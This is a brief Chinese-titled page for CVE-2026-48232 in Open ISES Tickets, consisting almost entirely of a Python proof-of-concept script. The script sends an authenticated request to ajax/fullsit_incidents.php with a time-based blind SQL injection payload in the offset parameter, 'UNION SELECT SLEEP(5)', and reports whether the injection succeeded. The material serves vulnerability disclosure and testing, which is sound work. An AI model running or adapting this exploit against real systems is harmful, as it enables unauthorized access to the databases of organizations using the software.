CVE-2026-48232 Open ISES Tickets SQL注入漏洞

import requests # CVE-2026-48232 PoC # Target: Open ISES Tickets < 3.44.2 # Vulnerable Parameter: offset (GET) in ajax/fullsit_incidents.php # Note: Requires authentication target_url = "http://target.com/ajax/fullsit_incidents.php" session_cookie = "PHPSESSID=valid_session_id" # Needs valid auth # Exploiting the offset parameter in the LIMIT clause # Example payload to cause a delay (Time-Based Blind SQLi) payload = "0 UNION SELECT SLEEP(5)-- -" params = { "offset": payload } headers = { "Cookie": session_cookie } try: response = requests.get(target_url, params=params, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! SQL Injection successful.") else: print("[-] Target might not be vulnerable or payload failed.") except Exception as e: print(f"Error: {e}")